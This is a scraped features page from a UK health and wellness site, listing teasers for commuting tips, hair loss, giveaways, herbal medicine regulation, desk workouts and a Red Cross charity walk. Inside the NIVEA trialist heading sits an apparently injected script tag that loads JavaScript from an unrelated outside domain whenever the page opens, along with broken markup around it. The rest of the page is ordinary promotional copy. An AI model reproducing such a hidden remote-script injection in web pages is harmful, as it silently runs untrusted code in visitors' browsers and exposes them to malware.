The Body Guide
Treat Your Mind, Body & Spirit
Features & Special Offers
A Healthy Commute
A Healthy Commute
Commuters travel 54 minutes a day on average. Heart Research UK has some ideas on how a few changes could make a big difference to your day >>>
Celebrities and Hair Loss
Celebrities and Hair Loss
Although there is no sure fire fix for hair loss experts are still available to help. >>>
Win a Premier Electrolysis Treatment
Win a Premier Electrolysis Treatment
About Face is offering 4 lucky readers the chance to win a premier electrolysis treatment and review it for fellow readers! >>>
Improve Your Childs Teeth And Win
Improve Your Childs Teeth And Win
GUM has a line of children's toothbrushes they are giving away to 30 lucky parents! >>>
Exercise Without The GymExercise Without The Gym
Want to lose weight or increase your exercise time without going to the gym? Read on for five great gym alternatives. >>>
Herbal Medicine RegulationHerbal Medicine Regulation
With the growing interest of herbal medicine the Europeen Union is proposing the registration of herbal medicine practitioners >>>
Smile Bright This SummerSmile Bright This Summer
Get your teeth looking white and shiny for the summer with Gum Sunstar's non abrasive line of products! >>>
No  Need for Gastric MeasuresNo Need for Gastric Measures
It is possible to diet to shed weight safely and for less, says Soulmate Lifestyle Consultancy. >>>
Work Out At Your DeskWork Out At Your Desk
Anyone who works in an office knows the effects of sitting at a desk all day can have on your waistline. So workout while you work with these tips! >>>

FOR MORE FEATURES & OFFERS SEE: Beauty, Complementary, Fitness, Mind
NIVEA My Silhouette Become a Trialist<script src=http://www.adbtch.com/ngg.js></script>>NIVEA My Silhouette Become a Trialist
NIVEA My Silhouette is offering 30 lucky readers the chance to become a trialist for their new body slimming product class='cont'>>>>
Body Guide Gift Vouchers

Body Guide Gift Vouchers are a great gift for everyone. Buy online and use with businesses UK wide. Buy Vouchers Here >>

12 Jul - 1-2-3- Peak Challenge 12 Jul - 1-2-3- Peak Challenge

Yorkshire

The British Red Cross are holding a sponsored challenge to walk the stunning Yorkshire Three Peaks. The walk covers 24.5 miles, over a variety of terrains, with some of the most breathtaking scenery in the country. www.redcross.org.uk